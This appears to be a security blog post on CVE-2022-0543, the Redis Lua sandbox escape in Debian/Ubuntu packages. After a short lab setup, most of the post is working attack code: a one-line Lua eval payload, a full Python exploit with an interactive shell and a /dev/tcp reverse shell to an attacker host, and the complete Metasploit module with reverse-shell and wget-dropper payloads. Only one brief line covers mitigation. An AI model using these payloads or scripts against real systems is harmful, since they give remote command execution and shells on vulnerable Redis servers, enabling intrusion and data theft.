Exploring CVE-2022-0543: Redis Lua Sandbox Escape Vulnerability

In the ever-evolving landscape of cybersecurity, it’s crucial to stay updated with the latest vulnerabilities.

One such recently discovered vulnerability is CVE-2022-0543, a critical flaw that affects Redis, an open-source, in-memory data structure store used as a database, cache, and message broker.

This vulnerability exposes systems to a potential Lua Sandbox Escape, leading to Remote Code Execution (RCE).

In this blog post, we will delve deeply into CVE-2022-0543, exploring its implications, how it can be exploited, and the necessary steps for mitigation.

Stay tuned as we unravel the intricacies of this significant security flaw.

What is CVE-2022-0543?

CVE-2022-0543 refers to a distinct vulnerability that was discovered within the Redis database. It primarily affects the Debian and Ubuntu versions of Redis due to a particular packaging misstep.

Specifically, the issue lies in the way the Lua library is provided in some Debian/Ubuntu packages.

This vulnerability allows for a Lua sandbox escape, enabling a remote attacker with the ability to execute arbitrary Lua scripts.

How does it work?

The Lua library, in these specific Debian/Ubuntu packages, is offered as a dynamic library. During the initialization of the Lua interpreter, it loads the dynamic library. The flaw lies here: an attacker can manipulate this process to run arbitrary code.

In a properly functioning system, the sandboxed Lua should prevent the execution of arbitrary code on the machine running Redis. However, due to this vulnerability, an attacker could potentially break out of the Lua sandbox and execute arbitrary commands. This creates a significant security risk.

Setting Up the Vulnerability Environment

In this guide, we will explore how to exploit the CVE-2022-0543 vulnerability, which was identified in Debian/Ubuntu Redis packages.

We will use the Vulhub environment for this demonstration.

To start, we need to create an environment where the vulnerability exists. We will use Docker to set up a Redis server 5.0.7 on Ubuntu.

Run the following command to start the server:

docker compose up -d

After the server starts, you can connect to it without credentials using the redis-cli command:

redis-cli -h your-ip

Exploiting the Vulnerability

This vulnerability arises because the Lua library in Debian/Ubuntu is provided as a dynamic library. A package variable is automatically populated, allowing access to arbitrary Lua functionality.

For instance, you can leverage package.loadlib to load modules from liblua, and then execute commands with these modules:

local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io");
local io = io_l();
local f = io.popen("id", "r");
local res = f:read("*a");
f:close();
return res

Note that it’s important to specify the correct realpath for the liblua library. In the Vulhub environment (Ubuntu focal), the value is:

/usr/lib/x86_64-linux-gnu/liblua5.1.so.0

You can evaluate this script in the Redis shell using the following command:

eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0

Result:

Using a Python Script for CVE-2022-0543 Exploitation

In this section, we will delve into the exploitation of the CVE-2022-0543 vulnerability, a critical Lua Sandbox Escape vulnerability in Redis.

A Python script from GitHub can be utilized.

This vulnerability can be exploited to achieve a Remote Code Execution (RCE) on the affected system.

Understanding the Exploit

The exploit for CVE-2022-0543 is fully featured and provides several functionalities:

  1. Automatic Reverse Shell (-I + -P): This feature allows the exploit to establish a reverse shell automatically. A reverse shell enables an attacker to remotely execute commands on the compromised system.
  2. Single Command Execution (-x): If you only need to run a single command on the vulnerable system, this feature allows you to do so.
  3. Basic Shell (Default): By default, the exploit provides a basic shell that allows an attacker to interact with the system.

exploit.py:

#!/usr/bin/env python3
import argparse
import redis
from termcolor import colored

def print_message(message, type):
   if type == 'SUCCESS':
        print('[' + colored('SUCCESS', 'green') +  '] ' + message)
   elif type == 'INFO':
        print('[' + colored('INFO', 'blue') +  '] ' + message)
   elif type == 'WARNING':
        print('[' + colored('WARNING', 'yellow') +  '] ' + message)
   elif type == 'ALERT':
        print('[' + colored('ALERT', 'yellow') +  '] ' + message)
   elif type == 'ERROR':
        print('[' + colored('ERROR', 'red') +  '] ' + message)

def redis_command(session, command):
    command_result_raw = session.eval(command, 0)
    return command_result_raw.decode('ascii').strip()

parser = argparse.ArgumentParser(description='Exploit for CVE-2022-0543: Lua Sandbox Escape in Redis')
parser.add_argument('-i', '--ip', type=str, default="127.0.0.1",
                  help='IP address of victim Redis instance (Default: 127.0.0.1)')
parser.add_argument('-p', '--port', type=str, default="6379",
                  help='Port of victim Redis instance (Default: 6379)')
parser.add_argument('-u', '--username', default=None, type=str,
                  help='The username for authentication (Default: None)')
parser.add_argument('-s', '--password', default=None, type=str,
                  help='The password for authentication (Default: None)')
parser.add_argument('-I', '--atk-ip', type=str,
                  help='IP address for automatic reverse shell (Default: Disabled)')
parser.add_argument('-P', '--atk-port', type=str,
                  help='Port for automatic reverse shell (Default: Disabled)')
parser.add_argument('-x', '--command', type=str,
                  help='Single command to execute (Default: Disabled)')
parser.add_argument('-c', '--check', action='store_true',
                  help='Check vulnerability with minimal exploitation (Default: Disabled)')

args = parser.parse_args()

sandbox_escape = 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("{payload}", "r"); local res = f:read("*a"); f:close(); return res'

try:
    session = redis.Redis(host=args.ip,port=args.port,username=args.username,password=args.password)
except Exception as e:
    print_message('Unable to connect to the provided host {ip}:{port}'.format(ip=args.ip,port=args.port), "ERROR")
    exit(e)
else:
    print_message('Connected to {ip}:{port}!'.format(ip=args.ip,port=args.port), "SUCCESS")

try:
    payload = "whoami"
    command = sandbox_escape.format(payload=payload)
    redis_user = redis_command(session, command)
except redis.exceptions.AuthenticationError:
    if not args.username or not args.password:
        print_message('This Redis instance requires authentication ([-u] and -s)', "ERROR")
        exit()
    else:
        print_message('The provided credentials are incorrect', "ERROR")
        exit()
except Exception as e:
    print_message('Could not execute command', "ERROR")
    print(e)
    exit()
else:
    if redis_user == "":
        print_message('The system might not be vulnerable', "ERROR")
        exit()
    else:
        print_message('The system might be vulnerable!', "SUCCESS")
        print_message('Redis is running as "{user}"'.format(user=redis_user), "INFO")

if args.check:
    print_message('The system appears to be vulnerable', "ALERT")
    print_message('Remove -c from your command if you wish to exploit the system!', "INFO")
    exit()

if args.atk_ip and args.atk_port:
    print_message('Running reverse shell. Check your listener!', "INFO")
    try:
        reverse_shell = "bash -c 'exec bash -i &>/dev/tcp/{ip}/{port} <&1'"
        payload = reverse_shell.format(ip=args.atk_ip,port=args.atk_port)
        command = sandbox_escape.format(payload=payload)
        redis_command(session, command)
    except Exception as e:
        print_message('Could not execute reverse shell', "ERROR")
elif args.command:
    print_message('Running your command: "{command}"!'.format(command=args.command), "INFO")
    try:
        command = sandbox_escape.format(payload=args.command)
        result = redis_command(session, command)
        print(result)
    except Exception as e:
        print_message('Could not execute your command', "ERROR")
else:
    print_message('Please enter your command below!', "INFO")
    while True:
        input_command = input(colored('>>', 'green'))
        if input_command in {'q','exit','quit','exit()','quit()'}:
            exit()
        command = sandbox_escape.format(payload=input_command)
        result = redis_command(session, command)
        print(result)

Future Improvements

While the exploit is quite robust, there are areas where it could be improved. One such area is adding more sophisticated checks to prevent false positives.

This would make the exploit more reliable and accurate in identifying truly vulnerable systems

The Impact

The potential implications of this vulnerability are vast. An attacker who successfully exploits this vulnerability could gain the ability to execute arbitrary code on the affected system.

This could lead to unauthorized access, data theft, and even the disruption of services.

A Guide to the Redis Lua Sandbox Escape Metasploit Module

This guide will present an in-depth look at the Metasploit module known as “Redis Lua Sandbox Escape.”

This module is designed to exploit a vulnerability, designated as CVE-2022-0543, that was found in Debian and Ubuntu Redis packages.

These packages did not sufficiently sanitize the Lua environment, leading to the possibility of attackers loading arbitrary libraries.

Understanding the Vulnerability

The vulnerability in question arises from the failure to disable the package interface, thereby enabling attackers to load arbitrary libraries.

In a typical non-docker Redis deployment, this module allows execution as the ‘redis’ user.

The Debian/Ubuntu packages run Redis using systemd with the “MemoryDenyWriteExecute” permission, which puts some restrictions on what an attacker can accomplish.

It’s worth noting that while this vulnerability could theoretically be exploited across several architectures (such as i386, arm, ppc, etc.), this module focuses primarily on x86_64, which is likely the most widely used.

Using the Metasploit Module

To use this module, follow the steps below in the Metasploit console:

  1. Load the Module Type use exploit/linux/redis/redis_debian_sandbox_escape to load the module.
  2. Display Available Targets Enter show targets to see the available targets. Choose your desired target by typing set TARGET <target-id>.
  3. Show and Set Options You can view the available options by typing show options. From here, you can set your desired options.
  4. Exploit the Vulnerability After setting your options, type exploit to make use of the vulnerability.

modules/exploits/linux/redis/redis_debian_sandbox_escape.rb:

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::CmdStager
  include Msf::Auxiliary::Redis

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Redis Lua Sandbox Escape',
        'Description' => %q{
          This module exploits CVE-2022-0543, a Lua-based Redis sandbox escape. The
          vulnerability was introduced by Debian and Ubuntu Redis packages that
          insufficiently sanitized the Lua environment. The maintainers failed to
          disable the package interface, allowing attackers to load arbitrary libraries.

          On a typical `redis` deployment (not docker), this module achieves execution
          as the `redis` user. Debian/Ubuntu packages run Redis using systemd with the
          "MemoryDenyWriteExecute" permission, which limits some of what an attacker can
          do. For example, staged meterpreter will fail when attempting to use mprotect.
          As such, stageless meterpreter is the preferred payload.

          Redis can be configured with authentication or not. This module will work with
          either configuration (provided you provide the correct authentication details).
          This vulnerability could theoretically be exploited across a few architectures:
          i386, arm, ppc, etc. However, the module only supports x86_64, which is likely
          to be the most popular version.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Reginaldo Silva', # Vulnerability discovery and PoC
          'jbaines-r7' # Metasploit module
        ],
        'References' => [
          [ 'CVE', '2022-0543' ],
          [ 'URL', 'https://www.lua.org/pil/8.2.html'],
          [ 'URL', 'https://www.ubercomp.com/posts/2022-01-20_redis_on_debian_rce' ],
          [ 'URL', 'https://www.debian.org/security/2022/dsa-5081' ],
          [ 'URL', 'https://ubuntu.com/security/CVE-2022-0543' ]
        ],
        'DisclosureDate' => '2022-02-18',
        'Platform' => ['unix', 'linux'],
        'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
        'Privileged' => false,
        'Targets' => [
          [
            'Unix Command',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd,
              'Payload' => {},
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/unix/reverse_bash'
              }
            }
          ],
          [
            'Linux Dropper',
            {
              'Platform' => 'linux',
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :linux_dropper,
              'CmdStagerFlavor' => [ 'wget'],
              'DefaultOptions' => {
                'PAYLOAD' => 'linux/x86/meterpreter_reverse_tcp'
              }
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'MeterpreterTryToFork' => true,
          'RPORT' => 6379
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [ARTIFACTS_ON_DISK]
        }
      )
    )
    register_options([
      OptString.new('TARGETURI', [true, 'Base path', '/']),
      OptString.new('LUA_LIB', [true, 'LUA library path', '/usr/lib/x86_64-linux-gnu/liblua5.1.so.0']),
      OptString.new('PASSWORD', [false, 'Redis AUTH password', 'mypassword'])
    ])
  end

  # See https://github.com/rapid7/metasploit-framework/pull/13143
  def has_check?
    true # Overrides the override in Msf::Auxiliary::Scanner imported by Msf::Auxiliary::Redis
  end

  # Use popen to execute the desired command and read back the output. This
  # is how the original PoC did it.
  def do_popen(cmd)
    exploit = "eval '" \
      "local io_l = package.loadlib(\"#{datastore['LUA_LIB']}\", \"luaopen_io\"); " \
      'local io = io_l(); ' \
      "local f = io.popen(\"#{cmd}\", \"r\"); " \
      'local res = f:read("*a"); ' \
      'f:close(); ' \
      "return res' 0" \
      "\n"
    sock.put(exploit)
    sock.get(read_timeout)
  end

  # Use os.execute to execute the desired command. This doesn't return any output, and likely
  # isn't meaningfully more useful than do_open but I wanted to demonstrate other execution
  # possibility not demonstrated by the original poc.
  def do_os_exec(cmd)
    exploit = "eval '" \
      "local os_l = package.loadlib(\"#{datastore['LUA_LIB']}\", \"luaopen_os\"); " \
      'local os = os_l(); ' \
      "local f = os.execute(\"#{cmd}\"); " \
      "' 0" \
      "\n"

    sock.put(exploit)
    sock.get(read_timeout)
  end

  def check
    connect

    # Before we get crazy sending exploits over the wire, let's just check if this could
    # plausiably be a vulnerable version. Using INFO we can check for:
    #
    # 1. 4 < Version < 6.1
    # 2. OS contains Linux
    # 3. redis_git_sha1:00000000
    #
    # We could probably fingerprint the build_id as well, but I'm worried I'll overlook at
    # package somewhere and it's nice to get final verification via exploitation anyway.
    info_output = redis_command('INFO')
    return Exploit::CheckCode::Unknown('Failed authentication.') if info_output.nil?
    return Exploit::CheckCode::Safe('Unaffected operating system') unless info_output.include? 'os:Linux'
    return Exploit::CheckCode::Safe('Invalid git sha1') unless info_output.include? 'redis_git_sha1:00000000'

    redis_version = info_output[/redis_version:(?<redis_version>\S+)/, :redis_version]
    return Exploit::CheckCode::Safe('Could not extract a version number') if redis_version.nil?
    return Exploit::CheckCode::Safe("The reported version is unaffected: #{redis_version}") if Rex::Version.new(redis_version) < Rex::Version.new('5.0.0')
    return Exploit::CheckCode::Safe("The reported version is unaffected: #{redis_version}") if Rex::Version.new(redis_version) >= Rex::Version.new('6.1.0')
    return Exploit::CheckCode::Unknown('Unsupported architecture') unless info_output.include? 'x86_64'

    # okay, looks like a worthy candidate. Attempt exploitation.
    result = do_popen('id')
    return Exploit::CheckCode::Vulnerable("Successfully executed the 'id' command.") unless result.nil? || result[/uid=.+ gid=.+ groups=.+/].nil?

    Exploit::CheckCode::Safe("Could not execute 'id' on the remote target.")
  ensure
    disconnect
  end

  def execute_command(cmd, _opts = {})
    connect

    # force the redis mixin to handle auth for us
    info_output = redis_command('INFO')
    fail_with(Failure::NoAccess, 'The server did not respond') if info_output.nil?

    # escape any single quotes
    cmd = cmd.gsub("'", "\\\\'")

    # On success, there is no meaningful response. I think this is okay because we already have
    # solid proof of execution in check.
    resp = do_os_exec(cmd)
    fail_with(Failure::UnexpectedReply, "The server did not respond as expected: #{resp}") unless resp.nil? || resp.include?('$-1')
    print_good('Exploit complete!')
  ensure
    disconnect
  end

  def exploit
    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
    case target['Type']
    when :unix_cmd
      execute_command(payload.encoded)
    when :linux_dropper
      execute_cmdstager
    end
  end
end

Mitigating the Risk

To mitigate the risk posed by CVE-2022-0543, it is crucial to apply all relevant patches and updates promptly.

Software vendors often release patches to fix vulnerabilities once they are discovered, and ensuring your systems are up-to-date is a fundamental step in securing your systems.

Conclusion

CVE-2022-0543 is a significant security vulnerability that underscores the importance of continuous vigilance in the realm of cybersecurity.

Redis, a popular persistent key-value database, has recently been under the spotlight for a significant security issue.

This issue, known as CVE-2022-0543, is specifically related to a packaging problem which makes Redis prone to a Debian-specific Lua sandbox escape.

This Redis flaw, leading to potential Lua Sandbox Escape and Remote Code Execution (RCE), serves as a potent reminder that even widely used platforms are not immune to critical vulnerabilities.

As we have explored in this blog post, understanding these vulnerabilities, their exploitation methods, and effective mitigation strategies are crucial steps towards securing our systems.